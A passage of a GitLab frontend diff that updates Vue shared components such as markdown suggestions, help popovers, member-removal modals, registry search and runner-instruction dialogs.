- return `set${capitalizeFirstCharacter(this.stateProperty)}`;
- },
- },
- },
- computed: {
- value: {
- get() {
- const { state } = this.$store;
- const { stateProperty, storeModule } = this;
- return storeModule ? state[storeModule][stateProperty] : state[stateProperty];
- },
- set(value) {
- const { stateProperty, storeModule, setAction } = this;
- const action = storeModule ? `${storeModule}/${setAction}` : setAction;
- this.$store.dispatch(action, { key: stateProperty, value });
- },
- },
- },
-};
-</script>
-
-<template>
- <gl-toggle v-model="value">
- <slot v-bind="{ value }"></slot>
- </gl-toggle>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/header_ci_component.vue b/app/assets/javascripts/vue_shared/components/header_ci_component.vue
index b4cac13168a..f169921d8a6 100644
--- a/app/assets/javascripts/vue_shared/components/header_ci_component.vue
+++ b/app/assets/javascripts/vue_shared/components/header_ci_component.vue
@@ -121,13 +121,7 @@ export default {
:title="user.email"
class="js-user-link commit-committer-link"
>
- <user-avatar-image
- :img-src="avatarUrl"
- :img-alt="userAvatarAltText"
- :tooltip-text="user.name"
- :img-size="24"
- />
-
+ <user-avatar-image :img-src="avatarUrl" :img-alt="userAvatarAltText" :size="24" />
{{ user.name }}
</gl-link>
<gl-tooltip v-if="message" :target="() => $refs[$options.EMOJI_REF]">
diff --git a/app/assets/javascripts/vue_shared/components/help_popover.vue b/app/assets/javascripts/vue_shared/components/help_popover.vue
index 051c65bae70..f36b9107a6e 100644
--- a/app/assets/javascripts/vue_shared/components/help_popover.vue
+++ b/app/assets/javascripts/vue_shared/components/help_popover.vue
@@ -1,5 +1,5 @@
<script>
-import { GlButton, GlPopover } from '@gitlab/ui';
+import { GlButton, GlPopover, GlSafeHtmlDirective } from '@gitlab/ui';
/**
* Render a button with a question mark icon
@@ -11,6 +11,9 @@ export default {
GlButton,
GlPopover,
},
+ directives: {
+ SafeHtml: GlSafeHtmlDirective,
+ },
props: {
options: {
type: Object,
@@ -22,15 +25,13 @@ export default {
</script>
<template>
<span>
- <gl-button ref="popoverTrigger" variant="link" icon="question" tabindex="0" />
- <gl-popover triggers="hover focus" :target="() => $refs.popoverTrigger.$el" v-bind="options">
- <template #title>
- <!-- eslint-disable-next-line vue/no-v-html -->
- <span v-html="options.title"></span>
+ <gl-button ref="popoverTrigger" variant="link" icon="question" :aria-label="__('Help')" />
+ <gl-popover :target="() => $refs.popoverTrigger.$el" v-bind="options">
+ <template v-if="options.title" #title>
+ <span v-safe-html="options.title"></span>
</template>
<template #default>
- <!-- eslint-disable-next-line vue/no-v-html -->
- <div v-html="options.content"></div>
+ <div v-safe-html="options.content"></div>
</template>
</gl-popover>
</span>
diff --git a/app/assets/javascripts/vue_shared/components/lib/utils/props_utils.js b/app/assets/javascripts/vue_shared/components/lib/utils/props_utils.js
new file mode 100644
index 00000000000..b115b1fb34b
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/lib/utils/props_utils.js
@@ -0,0 +1,35 @@
+/**
+ * Return the union of the given components' props options. Required props take
+ * precendence over non-required props of the same name.
+ *
+ * This makes two assumptions:
+ * - All given components define their props in verbose object format.
+ * - The components all agree on the `type` of a common prop.
+ *
+ * @param {object[]} components The components to derive the union from.
+ * @returns {object} The union of the props of the given components.
+ */
+export const propsUnion = (components) =>
+ components.reduce((acc, component) => {
+ Object.entries(component.props ?? {}).forEach(([propName, propOptions]) => {
+ if (process.env.NODE_ENV !== 'production') {
+ if (typeof propOptions !== 'object' || !('type' in propOptions)) {
+ throw new Error(
+ `Cannot create props union: expected verbose prop options for prop "${propName}"`,
+ );
+ }
+
+ if (propName in acc && acc[propName]?.type !== propOptions?.type) {
+ throw new Error(
+ `Cannot create props union: incompatible prop types for prop "${propName}"`,
+ );
+ }
+ }
+
+ if (!(propName in acc) || propOptions.required) {
+ acc[propName] = propOptions;
+ }
+ });
+
+ return acc;
+ }, {});
diff --git a/app/assets/javascripts/vue_shared/components/markdown/apply_suggestion.vue b/app/assets/javascripts/vue_shared/components/markdown/apply_suggestion.vue
index 10887aee689..90ac20fe748 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/apply_suggestion.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/apply_suggestion.vue
@@ -34,6 +34,7 @@ export default {
boundary="window"
right
menu-class="gl-w-full!"
+ data-qa-selector="apply_suggestion_button"
@shown="$refs.commitMessage.$el.focus()"
>
<gl-dropdown-form class="gl-px-4! gl-m-0!">
@@ -44,12 +45,14 @@ export default {
v-model="message"
:placeholder="defaultCommitMessage"
submit-on-enter
+ data-qa-selector="commit_message_textbox"
@submit="onApply"
/>
<gl-button
class="gl-w-auto! gl-mt-3 gl-text-center! gl-hover-text-white! gl-transition-medium! float-right"
category="primary"
variant="success"
+ data-qa-selector="commit_with_custom_message_button"
@click="onApply"
>
{{ __('Apply') }}
diff --git a/app/assets/javascripts/vue_shared/components/markdown/field.vue b/app/assets/javascripts/vue_shared/components/markdown/field.vue
index 25d01dc550f..80b7a9b7d05 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/field.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/field.vue
@@ -62,6 +62,11 @@ export default {
required: false,
default: true,
},
+ uploadsPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
enableAutocomplete: {
type: Boolean,
required: false,
@@ -72,6 +77,11 @@ export default {
required: false,
default: null,
},
+ lines: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
note: {
type: Object,
required: false,
@@ -110,6 +120,20 @@ export default {
return this.referencedUsers.length >= referencedUsersThreshold;
},
lineContent() {
+ if (this.lines.length) {
+ return this.lines
+ .map((line) => {
+ const { rich_text: richText, text } = line;
+
+ if (text) {
+ return text;
+ }
+
+ return unescape(stripHtml(richText).replace(/\n/g, ''));
+ })
+ .join('\\n');
+ }
+
if (this.line) {
const { rich_text: richText, text } = this.line;
@@ -144,6 +168,9 @@ export default {
false,
);
},
+ suggestionsStartIndex() {
+ return Math.max(this.lines.length - 1, 0);
+ },
},
watch: {
isSubmitting(isSubmitting) {
@@ -229,12 +256,14 @@ export default {
ref="gl-form"
:class="{ 'gl-mt-3 gl-mb-3': addSpacingClasses }"
class="js-vue-markdown-field md-area position-relative gfm-form"
+ :data-uploads-path="uploadsPath"
>
<markdown-header
:preview-markdown="previewMarkdown"
:line-content="lineContent"
:can-suggest="canSuggest"
:show-suggest-popover="showSuggestPopover"
+ :suggestion-start-index="suggestionsStartIndex"
@preview-markdown="showPreviewTab"
@write-markdown="showWriteTab"
@handleSuggestDismissed="() => $emit('handleSuggestDismissed')"
diff --git a/app/assets/javascripts/vue_shared/components/markdown/header.vue b/app/assets/javascripts/vue_shared/components/markdown/header.vue
index 5bc1786d692..01cf0beea3a 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/header.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/header.vue
@@ -1,6 +1,7 @@
<script>
import { GlPopover, GlButton, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import $ from 'jquery';
+import { keysFor, BOLD_TEXT, ITALIC_TEXT, LINK_TEXT } from '~/behaviors/shortcuts/keybindings';
import { getSelectedFragment } from '~/lib/utils/common_utils';
import { s__ } from '~/locale';
import { CopyAsGFM } from '../../../behaviors/markdown/copy_as_gfm';
@@ -36,6 +37,11 @@ export default {
required: false,
default: false,
},
+ suggestionStartIndex: {
+ type: Number,
+ required: false,
+ default: 0,
+ },
},
data() {
return {
@@ -53,7 +59,9 @@ export default {
].join('\n');
},
mdSuggestion() {
- return ['```suggestion:-0+0', `{text}`, '```'].join('\n');
+ return [['```', `suggestion:-${this.suggestionStartIndex}+0`].join(''), `{text}`, '```'].join(
+ '\n',
+ );
},
isMac() {
// Accessing properties using ?. to allow tests to use
@@ -116,6 +124,11 @@ export default {
.catch(() => {});
},
},
+ shortcuts: {
+ bold: keysFor(BOLD_TEXT),
+ italic: keysFor(ITALIC_TEXT),
+ link: keysFor(LINK_TEXT),
+ },
};
</script>
@@ -143,7 +156,7 @@ export default {
:button-title="
sprintf(s__('MarkdownEditor|Add bold text (%{modifierKey}B)'), { modifierKey })
"
- shortcuts="mod+b"
+ :shortcuts="$options.shortcuts.bold"
icon="bold"
/>
<toolbar-button
@@ -151,7 +164,7 @@ export default {
:button-title="
sprintf(s__('MarkdownEditor|Add italic text (%{modifierKey}I)'), { modifierKey })
"
- shortcuts="mod+i"
+ :shortcuts="$options.shortcuts.italic"
icon="italic"
/>
<toolbar-button
@@ -208,7 +221,7 @@ export default {
:button-title="
sprintf(s__('MarkdownEditor|Add a link (%{modifierKey}K)'), { modifierKey })
"
- shortcuts="mod+k"
+ :shortcuts="$options.shortcuts.link"
icon="link"
/>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue b/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue
index 7c28e74e256..83b8a6ae562 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue
@@ -1,13 +1,11 @@
<script>
import { GlButton, GlLoadingIcon, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import ApplySuggestion from './apply_suggestion.vue';
export default {
components: { GlIcon, GlButton, GlLoadingIcon, ApplySuggestion },
directives: { 'gl-tooltip': GlTooltipDirective },
- mixins: [glFeatureFlagsMixin()],
props: {
batchSuggestionsCount: {
type: Number,
@@ -59,9 +57,6 @@ export default {
};
},
computed: {
- canBeBatched() {
- return Boolean(this.glFeatures.batchSuggestions);
- },
isApplying() {
return this.isApplyingSingle || this.isApplyingBatch;
},
@@ -118,7 +113,7 @@ export default {
<gl-loading-icon class="d-flex-center mr-2" />
<span>{{ applyingSuggestionsMessage }}</span>
</div>
- <div v-else-if="canApply && canBeBatched && isBatched" class="d-flex align-items-center">
+ <div v-else-if="canApply && isBatched" class="d-flex align-items-center">
<gl-button
class="btn-inverted js-remove-from-batch-btn btn-grouped"
:disabled="isApplying"
@@ -142,7 +137,7 @@ export default {
</div>
<div v-else class="d-flex align-items-center">
<gl-button
- v-if="suggestionsCount > 1 && canBeBatched && !isDisableButton"
+ v-if="suggestionsCount > 1 && !isDisableButton"
class="btn-inverted js-add-to-batch-btn btn-grouped"
data-qa-selector="add_suggestion_batch_button"
:disabled="isDisableButton"
@@ -152,6 +147,7 @@ export default {
</gl-button>
<apply-suggestion
v-if="isLoggedIn"
+ v-gl-tooltip.viewport="tooltipMessage"
:disabled="isDisableButton"
:default-commit-message="defaultCommitMessage"
class="gl-ml-3"
diff --git a/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue b/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
index 387b100a04f..7393a8791b7 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
@@ -1,13 +1,18 @@
<script>
import { GlButton, GlLink, GlLoadingIcon, GlSprintf, GlIcon } from '@gitlab/ui';
+import { isExperimentVariant } from '~/experimentation/utils';
+import InviteMembersTrigger from '~/invite_members/components/invite_members_trigger.vue';
+import { INVITE_MEMBERS_IN_COMMENT } from '~/invite_members/constants';
export default {
+ inviteMembersInComment: INVITE_MEMBERS_IN_COMMENT,
components: {
GlButton,
GlLink,
GlLoadingIcon,
GlSprintf,
GlIcon,
+ InviteMembersTrigger,
},
props: {
markdownDocsPath: {
@@ -29,6 +34,9 @@ export default {
hasQuickActionsDocsPath() {
return this.quickActionsDocsPath !== '';
},
+ inviteCommentEnabled() {
+ return isExperimentVariant(INVITE_MEMBERS_IN_COMMENT, 'invite_member_link');
+ },
},
};
</script>
@@ -37,9 +45,9 @@ export default {
<div class="comment-toolbar clearfix">
<div class="toolbar-text">
<template v-if="!hasQuickActionsDocsPath && markdownDocsPath">
- <gl-link :href="markdownDocsPath" target="_blank">{{
- __('Markdown is supported')
- }}</gl-link>
+ <gl-link :href="markdownDocsPath" target="_blank">
+ {{ __('Markdown is supported') }}
+ </gl-link>
</template>
<template v-if="hasQuickActionsDocsPath && markdownDocsPath">
<gl-sprintf
@@ -59,6 +67,16 @@ export default {
</template>
</div>
<span v-if="canAttachFile" class="uploading-container">
+ <invite-members-trigger
+ v-if="inviteCommentEnabled"
+ classes="gl-mr-3 gl-vertical-align-text-bottom"
+ :display-text="s__('InviteMember|Invite Member')"
+ icon="assignee"
+ variant="link"
+ :track-experiment="$options.inviteMembersInComment"
+ :trigger-source="$options.inviteMembersInComment"
+ data-track-event="comment_invite_click"
+ />
<span class="uploading-progress-container hide">
<gl-icon name="media" />
<span class="attaching-file-message"></span>
diff --git a/app/assets/javascripts/vue_shared/components/modal_copy_button.vue b/app/assets/javascripts/vue_shared/components/modal_copy_button.vue
index 7b36d57dfbf..38afd56bae6 100644
--- a/app/assets/javascripts/vue_shared/components/modal_copy_button.vue
+++ b/app/assets/javascripts/vue_shared/components/modal_copy_button.vue
@@ -101,6 +101,7 @@ export default {
:data-clipboard-target="target"
:data-clipboard-text="text"
:title="title"
+ :aria-label="title"
:category="category"
icon="copy-to-clipboard"
/>
diff --git a/app/assets/javascripts/vue_shared/components/notes/system_note.vue b/app/assets/javascripts/vue_shared/components/notes/system_note.vue
index 50972a8c32c..149909d263e 100644
--- a/app/assets/javascripts/vue_shared/components/notes/system_note.vue
+++ b/app/assets/javascripts/vue_shared/components/notes/system_note.vue
@@ -28,6 +28,7 @@ import {
import $ from 'jquery';
import { mapGetters, mapActions, mapState } from 'vuex';
import descriptionVersionHistoryMixin from 'ee_else_ce/notes/mixins/description_version_history';
+import { __ } from '~/locale';
import initMRPopovers from '~/mr_popover/';
import noteHeader from '~/notes/components/note_header.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
@@ -37,6 +38,9 @@ import TimelineEntryItem from './timeline_entry_item.vue';
const MAX_VISIBLE_COMMIT_LIST_COUNT = 3;
export default {
+ i18n: {
+ deleteButtonLabel: __('Remove description history'),
+ },
name: 'SystemNote',
components: {
GlIcon,
@@ -139,7 +143,8 @@ export default {
<gl-button
v-if="displayDeleteButton"
v-gl-tooltip
- :title="__('Remove description history')"
+ :title="$options.i18n.deleteButtonLabel"
+ :aria-label="$options.i18n.deleteButtonLabel"
variant="default"
category="tertiary"
icon="remove"
diff --git a/app/assets/javascripts/vue_shared/components/oncall_schedules_list.vue b/app/assets/javascripts/vue_shared/components/oncall_schedules_list.vue
new file mode 100644
index 00000000000..ff2847624c5
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/oncall_schedules_list.vue
@@ -0,0 +1,70 @@
+<script>
+import { GlSprintf, GlLink } from '@gitlab/ui';
+import { sprintf, s__ } from '~/locale';
+
+export default {
+ components: {
+ GlSprintf,
+ GlLink,
+ },
+ props: {
+ schedules: {
+ type: Array,
+ required: true,
+ },
+ userName: {
+ type: String,
+ required: false,
+ default: null,
+ },
+ isCurrentUser: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ title() {
+ return this.isCurrentUser
+ ? s__('OnCallSchedules|You are currently a part of:')
+ : sprintf(s__('OnCallSchedules|User %{name} is currently part of:'), {
+ name: this.userName,
+ });
+ },
+ footer() {
+ return this.isCurrentUser
+ ? s__(
+ 'OnCallSchedules|Removing yourself may put your on-call team at risk of missing a notification.',
+ )
+ : s__(
+ 'OnCallSchedules|Removing this user may put their on-call team at risk of missing a notification.',
+ );
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <p data-testid="title">{{ title }}</p>
+
+ <ul data-testid="schedules-list">
+ <li v-for="(schedule, index) in schedules" :key="`${schedule.name}-${index}`">
+ <gl-sprintf
+ :message="s__('OnCallSchedules|On-call schedule %{schedule} in Project %{project}')"
+ >
+ <template #schedule>
+ <gl-link :href="schedule.scheduleUrl" target="_blank">{{ schedule.name }}</gl-link>
+ </template>
+ <template #project>
+ <gl-link :href="schedule.projectUrl" target="_blank">{{
+ schedule.projectName
+ }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </li>
+ </ul>
+
+ <p data-testid="footer">{{ footer }}</p>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/recaptcha_eventhub.js b/app/assets/javascripts/vue_shared/components/recaptcha_eventhub.js
deleted file mode 100644
index e193883b6e9..00000000000
--- a/app/assets/javascripts/vue_shared/components/recaptcha_eventhub.js
+++ /dev/null
@@ -1,21 +0,0 @@
-import createEventHub from '~/helpers/event_hub_factory';
-
-// see recaptcha_tags in app/views/shared/_recaptcha_form.html.haml
-export const callbackName = 'recaptchaDialogCallback';
-
-export const eventHub = createEventHub();
-
-const throwDuplicateCallbackError = () => {
- throw new Error(`${callbackName} is already defined!`);
-};
-
-if (window[callbackName]) {
- throwDuplicateCallbackError();
-}
-
-const callback = () => eventHub.$emit('submit');
-
-Object.defineProperty(window, callbackName, {
- get: () => callback,
- set: throwDuplicateCallbackError,
-});
diff --git a/app/assets/javascripts/vue_shared/components/recaptcha_modal.vue b/app/assets/javascripts/vue_shared/components/recaptcha_modal.vue
deleted file mode 100644
index fc1f3675a3d..00000000000
--- a/app/assets/javascripts/vue_shared/components/recaptcha_modal.vue
+++ /dev/null
@@ -1,90 +0,0 @@
-<script>
-/* eslint-disable vue/no-v-html */
-import DeprecatedModal from './deprecated_modal.vue';
-import { eventHub } from './recaptcha_eventhub';
-
-export default {
- name: 'RecaptchaModal',
-
- components: {
- DeprecatedModal,
- },
-
- props: {
- html: {
- type: String,
- required: false,
- default: '',
- },
- },
-
- data() {
- return {
- script: {},
- scriptSrc: 'https://www.recaptcha.net/recaptcha/api.js',
- };
- },
-
- watch: {
- html() {
- this.appendRecaptchaScript();
- },
- },
-
- mounted() {
- eventHub.$on('submit', this.submit);
-
- if (this.html) {
- this.appendRecaptchaScript();
- }
- },
-
- beforeDestroy() {
- eventHub.$off('submit', this.submit);
- },
-
- methods: {
- appendRecaptchaScript() {
- this.removeRecaptchaScript();
-
- const script = document.createElement('script');
- script.src = this.scriptSrc;
- script.classList.add('js-recaptcha-script');
- script.async = true;
- script.defer = true;
-
- this.script = script;
-
- document.body.appendChild(script);
- },
-
- removeRecaptchaScript() {
- if (this.script instanceof Element) this.script.remove();
- },
-
- close() {
- this.removeRecaptchaScript();
- this.$emit('close');
- },
-
- submit() {
- this.$el.querySelector('form').submit();
- },
- },
-};
-</script>
-
-<template>
- <deprecated-modal
- :hide-footer="true"
- :title="__('Please solve the reCAPTCHA')"
- kind="warning"
- class="recaptcha-modal js-recaptcha-modal"
- @cancel="close"
- >
- <div slot="body">
- <p>{{ __('We want to be sure it is you, please confirm you are not a robot.') }}</p>
- <div ref="recaptcha" v-html="html"></div>
- </div>
- </deprecated-modal>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/registry/registry_search.vue b/app/assets/javascripts/vue_shared/components/registry/registry_search.vue
index 62453a25f62..0825c3a76ea 100644
--- a/app/assets/javascripts/vue_shared/components/registry/registry_search.vue
+++ b/app/assets/javascripts/vue_shared/components/registry/registry_search.vue
@@ -1,5 +1,6 @@
<script>
import { GlSorting, GlSortingItem, GlFilteredSearch } from '@gitlab/ui';
+import { FILTERED_SEARCH_TERM } from '~/packages_and_registries/shared/constants';
const ASCENDING_ORDER = 'asc';
const DESCENDING_ORDER = 'desc';
@@ -45,18 +46,60 @@ export default {
isSortAscending() {
return this.sorting.sort === ASCENDING_ORDER;
},
+ baselineQueryStringFilters() {
+ return this.tokens.reduce((acc, curr) => {
+ acc[curr.type] = '';
+ return acc;
+ }, {});
+ },
},
methods: {
+ generateQueryData({ sorting = {}, filter = [] } = {}) {
+ // Ensure that we clean up the query when we remove a token from the search
+ const result = { ...this.baselineQueryStringFilters, ...sorting, search: [] };
+
+ filter.forEach((f) => {
+ if (f.type === FILTERED_SEARCH_TERM) {
+ result.search.push(f.value.data);
+ } else {
+ result[f.type] = f.value.data;
+ }
+ });
+ return result;
+ },
onDirectionChange() {
const sort = this.isSortAscending ? DESCENDING_ORDER : ASCENDING_ORDER;
+ const newQueryString = this.generateQueryData({
+ sorting: { ...this.sorting, sort },
+ filter: this.filter,
+ });
this.$emit('sorting:changed', { sort });
+ this.$emit('query:changed', newQueryString);
},
onSortItemClick(item) {
+ const newQueryString = this.generateQueryData({
+ sorting: { ...this.sorting, orderBy: item },
+ filter: this.filter,
+ });
this.$emit('sorting:changed', { orderBy: item });
+ this.$emit('query:changed', newQueryString);
+ },
+ submitSearch() {
+ const newQueryString = this.generateQueryData({
+ sorting: this.sorting,
+ filter: this.filter,
+ });
+ this.$emit('filter:submit');
+ this.$emit('query:changed', newQueryString);
},
clearSearch() {
+ const newQueryString = this.generateQueryData({
+ sorting: this.sorting,
+ });
+
this.$emit('filter:changed', []);
this.$emit('filter:submit');
+ this.$emit('query:changed', newQueryString);
},
},
};
@@ -69,7 +112,7 @@ export default {
class="gl-mr-4 gl-flex-fill-1"
:placeholder="__('Filter results')"
:available-tokens="tokens"
- @submit="$emit('filter:submit')"
+ @submit="submitSearch"
@clear="clearSearch"
/>
<gl-sorting
diff --git a/app/assets/javascripts/vue_shared/components/remove_member_modal.vue b/app/assets/javascripts/vue_shared/components/remove_member_modal.vue
index 88d1b15aee3..dff3a6a8c3f 100644
--- a/app/assets/javascripts/vue_shared/components/remove_member_modal.vue
+++ b/app/assets/javascripts/vue_shared/components/remove_member_modal.vue
@@ -1,8 +1,10 @@
<script>
import { GlFormCheckbox, GlModal } from '@gitlab/ui';
+import * as Sentry from '@sentry/browser';
import { parseBoolean } from '~/lib/utils/common_utils';
import csrf from '~/lib/utils/csrf';
-import { __ } from '~/locale';
+import { s__, __ } from '~/locale';
+import OncallSchedulesList from '~/vue_shared/components/oncall_schedules_list.vue';
export default {
actionCancel: {
@@ -12,6 +14,7 @@ export default {
components: {
GlFormCheckbox,
GlModal,
+ OncallSchedulesList,
},
data() {
return {
@@ -22,8 +25,20 @@ export default {
isAccessRequest() {
return parseBoolean(this.modalData.isAccessRequest);
},
+ isInvite() {
+ return parseBoolean(this.modalData.isInvite);
+ },
+ isGroupMember() {
+ return this.modalData.memberType === 'GroupMember';
+ },
actionText() {
- return this.isAccessRequest ? __('Deny access request') : __('Remove member');
+ if (this.isAccessRequest) {
+ return __('Deny access request');
+ } else if (this.isInvite) {
+ return s__('Member|Revoke invite');
+ }
+
+ return __('Remove member');
},
actionPrimary() {
return {
@@ -33,6 +48,21 @@ export default {
},
};
},
+ showUnassignIssuablesCheckbox() {
+ return !this.isAccessRequest && !this.isInvite;
+ },
+ isPartOfOncallSchedules() {
+ return !this.isAccessRequest && this.oncallSchedules.schedules?.length;
+ },
+ oncallSchedules() {
+ let schedules = {};
+ try {
+ schedules = JSON.parse(this.modalData.oncallSchedules);
+ } catch (e) {
+ Sentry.captureException(e);
+ }
+ return schedules;
+ },
},
mounted() {
document.addEventListener('click', this.handleClick);
@@ -68,9 +98,18 @@ export default {
<form ref="form" :action="modalData.memberPath" method="post">
<p data-testid="modal-message">{{ modalData.message }}</p>
+ <oncall-schedules-list
+ v-if="isPartOfOncallSchedules"
+ :schedules="oncallSchedules.schedules"
+ :user-name="oncallSchedules.name"
+ />
+
<input ref="method" type="hidden" name="_method" value="delete" />
<input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
- <gl-form-checkbox v-if="!isAccessRequest" name="unassign_issuables">
+ <gl-form-checkbox v-if="isGroupMember" name="remove_sub_memberships">
+ {{ __('Also remove direct user membership from subgroups and projects') }}
+ </gl-form-checkbox>
+ <gl-form-checkbox v-if="showUnassignIssuablesCheckbox" name="unassign_issuables">
{{ __('Also unassign this user from related issues and merge requests') }}
</gl-form-checkbox>
</form>
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/toolbar_item.vue b/app/assets/javascripts/vue_shared/components/rich_content_editor/toolbar_item.vue
index 4271f6053ed..85a67c087bb 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/toolbar_item.vue
+++ b/app/assets/javascripts/vue_shared/components/rich_content_editor/toolbar_item.vue
@@ -21,7 +21,11 @@ export default {
};
</script>
<template>
- <button v-gl-tooltip="{ title: tooltip }" class="p-0 gl-display-flex toolbar-button">
+ <button
+ v-gl-tooltip="{ title: tooltip }"
+ :aria-label="tooltip"
+ class="p-0 gl-display-flex toolbar-button"
+ >
<gl-icon class="gl-mx-auto gl-align-self-center" :name="icon" />
</button>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql b/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql
index ff0626167a9..76f152e5453 100644
--- a/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql
@@ -1,4 +1,4 @@
-query getRunnerPlatforms($projectPath: ID!, $groupPath: ID!) {
+query getRunnerPlatforms {
runnerPlatforms {
nodes {
name
@@ -11,10 +11,4 @@ query getRunnerPlatforms($projectPath: ID!, $groupPath: ID!) {
}
}
}
- project(fullPath: $projectPath) {
- id
- }
- group(fullPath: $groupPath) {
- id
- }
}
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql b/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql
index 643c1991807..c0248a35e3f 100644
--- a/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql
@@ -1,15 +1,5 @@
-query runnerSetupInstructions(
- $platform: String!
- $architecture: String!
- $projectId: ID!
- $groupId: ID!
-) {
- runnerSetup(
- platform: $platform
- architecture: $architecture
- projectId: $projectId
- groupId: $groupId
- ) {
+query runnerSetupInstructions($platform: String!, $architecture: String!) {
+ runnerSetup(platform: $platform, architecture: $architecture) {
installInstructions
registerInstructions
}
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions.vue b/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions.vue
index 1d6db576942..d886a67fff7 100644
--- a/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions.vue
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions.vue
@@ -1,155 +1,31 @@
<script>
-import {
- GlAlert,
- GlButton,
- GlModal,
- GlModalDirective,
- GlButtonGroup,
- GlDropdown,
- GlDropdownItem,
- GlIcon,
-} from '@gitlab/ui';
-import { __, s__ } from '~/locale';
-import ModalCopyButton from '~/vue_shared/components/modal_copy_button.vue';
-import {
- PLATFORMS_WITHOUT_ARCHITECTURES,
- INSTRUCTIONS_PLATFORMS_WITHOUT_ARCHITECTURES,
-} from './constants';
-import getRunnerPlatforms from './graphql/queries/get_runner_platforms.query.graphql';
-import getRunnerSetupInstructions from './graphql/queries/get_runner_setup.query.graphql';
+import { GlButton, GlModalDirective } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import RunnerInstructionsModal from './runner_instructions_modal.vue';
export default {
components: {
- GlAlert,
GlButton,
- GlButtonGroup,
- GlDropdown,
- GlDropdownItem,
- GlModal,
- GlIcon,
- ModalCopyButton,
+ RunnerInstructionsModal,
},
directives: {
GlModalDirective,
},
- inject: {
- projectPath: {
- default: '',
- },
- groupPath: {
- default: '',
- },
- },
- apollo: {
- runnerPlatforms: {
- query: getRunnerPlatforms,
- variables() {
- return {
- projectPath: this.projectPath,
- groupPath: this.groupPath,
- };
- },
- error() {
- this.showAlert = true;
- },
- result({ data }) {
- this.project = data?.project;
- this.group = data?.group;
-
- this.selectPlatform(this.platforms[0].name);
- },
- },
+ modalId: 'runner-instructions-modal',
+ i18n: {
+ buttonText: s__('Runners|Show Runner installation instructions'),
},
data() {
return {
- showAlert: false,
- selectedPlatformArchitectures: [],
- selectedPlatform: {
- name: '',
- },
- selectedArchitecture: {},
- runnerPlatforms: {},
- instructions: {},
- project: {},
- group: {},
+ opened: false,
};
},
- computed: {
- isPlatformSelected() {
- return Object.keys(this.selectedPlatform).length > 0;
- },
- instructionsEmpty() {
- return Object.keys(this.instructions).length === 0;
- },
- groupId() {
- return this.group?.id ?? '';
- },
- projectId() {
- return this.project?.id ?? '';
- },
- platforms() {
- return this.runnerPlatforms?.nodes;
- },
- hasArchitecureList() {
- return !PLATFORMS_WITHOUT_ARCHITECTURES.includes(this.selectedPlatform?.name);
- },
- instructionsWithoutArchitecture() {
- return INSTRUCTIONS_PLATFORMS_WITHOUT_ARCHITECTURES[this.selectedPlatform.name]?.instructions;
- },
- runnerInstallationLink() {
- return INSTRUCTIONS_PLATFORMS_WITHOUT_ARCHITECTURES[this.selectedPlatform.name]?.link;
- },
- },
methods: {
- selectPlatform(name) {
- this.selectedPlatform = this.platforms.find((platform) => platform.name === name);
- if (this.hasArchitecureList) {
- this.selectedPlatformArchitectures = this.selectedPlatform?.architectures?.nodes;
- [this.selectedArchitecture] = this.selectedPlatformArchitectures;
- this.selectArchitecture(this.selectedArchitecture);
- }
- },
- selectArchitecture(architecture) {
- this.selectedArchitecture = architecture;
-
- this.$apollo.addSmartQuery('instructions', {
- variables() {
- return {
- platform: this.selectedPlatform.name,
- architecture: this.selectedArchitecture.name,
- projectId: this.projectId,
- groupId: this.groupId,
- };
- },
- query: getRunnerSetupInstructions,
- update(data) {
- return data?.runnerSetup;
- },
- error() {
- this.showAlert = true;
- },
- });
- },
- toggleAlert(state) {
- this.showAlert = state;
+ onClick() {
+ // lazily mount modal to prevent premature instructions requests
+ this.opened = true;
},
},
